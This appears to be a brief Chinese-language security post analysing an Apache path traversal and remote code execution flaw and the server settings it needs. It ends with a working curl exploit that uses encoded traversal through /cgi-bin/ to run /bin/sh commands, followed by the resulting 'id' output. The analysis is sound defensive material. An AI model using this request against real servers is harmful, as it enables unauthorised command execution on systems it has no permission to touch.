依我拙见,只有“特殊”配置的服务器才会受到此 RCE 的影响。
您之前看到的“任意文件读取”漏洞也是如此。
这两个 CVE 实际上几乎是相同的路径遍历漏洞(第二个是第一个的不完全修复)。
路径遍历仅从映射的 URI 开始生效(例如,通过 Apache 的“Alias”或“ScriptAlias”指令)。仅凭 DocumentRoot 是不够的。
"/cgi-bin/" 默认被映射(ScriptAlias),因此它被用在路径遍历字符串之前。
此外,ScriptAlias 会将指定目录下的所有内容标记为可执行(对于 Apache 而言),无论文件扩展名如何。
1/ 启用 mod_cgi(非默认,但容易)
2/ 目标二进制文件应为 +x(/bin/sh 默认有执行权限)
3/ Apache 对 /bin 或 / 目录有权限(非默认,且困难/不现实)
curl 'http://IPADDR/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)